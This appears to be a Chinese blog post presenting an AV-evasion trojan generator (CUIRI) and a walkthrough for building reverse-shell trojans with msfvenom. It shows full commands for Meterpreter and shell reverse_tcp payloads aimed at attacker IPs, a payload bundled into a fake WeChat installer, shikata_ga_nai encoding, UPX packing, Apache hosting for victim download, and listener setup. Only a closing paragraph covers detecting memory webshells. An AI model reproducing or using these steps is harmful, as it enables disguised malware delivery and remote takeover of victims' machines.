我常用的工具:工具简介**(CUIRI)**
CUIRI是一款红队专用免杀木马生成器,该工具可以通过红队人员提供的一段 shellcode 快速生成一个绕过所有杀软的可执行木马。
1.基于Syscall进行免杀,且随机混淆,可过几乎所有杀软 2.内置go-strip对Go生成的木马进行编译信息抹除与程序信息混淆 3.工具本体只有1个exe,搭配Go环境即可直接使用
下载二进制文件,并且在系统上安装Go语言环境,然后将shellcode保存到1个txt文件中,即可使用本工具生成免杀马。
Usage of CuiRi.exe: -f string 通过shellcode生成免杀马 -manual 查看shellcode生成方法
使用方法eg:
首先生成 shellcode,保存为文件msf.txt
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.128 lport=3333 -f c
生成免杀马
.\CuiRi.exe -f .\msf.txt
不做任何免杀处理的木马
使用msf的msfvenom生成木马文件,生成一个裸奔马,命名为 weixin.exe
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=8888 -f exe > weixin.exe
打开apache服务
把生成的weixin.exe文件放在/var/www/html文件夹下
当用户访问该会下载该文件
但是在用户端被AV查杀了;在实战中,直接投递裸奔马比较容易引起对方运维人员的警觉,这种方式也比较冒险,所以在投递之前,要测试制作的木马是否会引起相关AV的查杀,比如在在线多引擎病毒识别工具中去测试
metasploit框架下免杀的方式之一是msf编码器
使用msf编码器对我们制作的木马进行重新编码,生成一个二进制文件,这个文件运行后,msf编码器会将原始程序解码到内存中并执行。
在msf的/data/templates/下有很多metasploit自带的用于捆绑木马的程序模板,选择一个待捆绑程序,但是大部分都采用捆绑木马(也有对裸奔马进行shikata_ga_nai编码饶AV的方法,但是shikata_ga_nai编码技术多态,每次生成的攻击载荷文件都不一样,有时生成的文件会被查杀,有时不会,所以结合以上思路,生成一个捆绑木马,并进行shikata_ga_nai编码)
使用msfvenom生成一个Windows环境下的木马,并捆绑到WeChatSetup.exe上生成WeChatSetup1.exe的合成马,同时对木马进行x86/shikata_ga_nai进行多次编码的方式进行免杀处理
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9999 -e x86/shikata_ga_nai -x WeChatSetup.exe -i 12 -f exe -o /root/WeChatSetup1.exe
把生成带病毒的软件放到已开启的apache文件下,用户下载后,在msf上创建监听
use exploit/multi/handler set payload windows/shell/reverse_tcp ///选择payload为Windows/shell/reverse_tcp show options ///查看一下哪些选项需要配置 set lhost 192.168.111.132 ///设置一下主机地址 set lport 9999 ///设置下主机端口,为木马设定的端口 run
upx打包器有两种功能,一种叫做给程序加壳,一种叫压缩程序在这里使用打包器的目的是改变后门程序的特征码。
压缩的时候:它首先可执行文件中的可执行数据解压出来,然后将解压缩用的代码附加在前面
运行的时候:将原本的可执行数据解压出来,然后再运行解压缩后的数据
简单的命令就是直接upx file,对file文件进行加壳处理,加壳后,因为经过压缩,文件大小会变小
把上面经历过编码后,又加壳的weixin安装包放在apache服务的文件夹下,供目标机器读取下载
在msf上可以创建正常的连接和监听,成功传回
如何查看系统内存shell?
先判断是通过什么方法注入的内存马,可以先查看 web 日志是否有可疑的 web 访问日志,如果是 filter 或者 listener 类型就会有大量 url 请求路径相同参数不同的,或者页面不存在但是返回 200 的,查看是否有类似哥斯拉、冰蝎相同的 url 请求,哥斯拉和冰蝎的内存马注入流量特征与普通 webshell 的流量特征基本吻合。
通过查找返回 200 的 url 路径对比 web目录下是否真实存在文件,如不存在大概率为内存马。如在 web 日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的 error.log 日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在 java 代码执行漏洞以及是否存在过 webshell,排查框架漏洞,反序列化漏洞。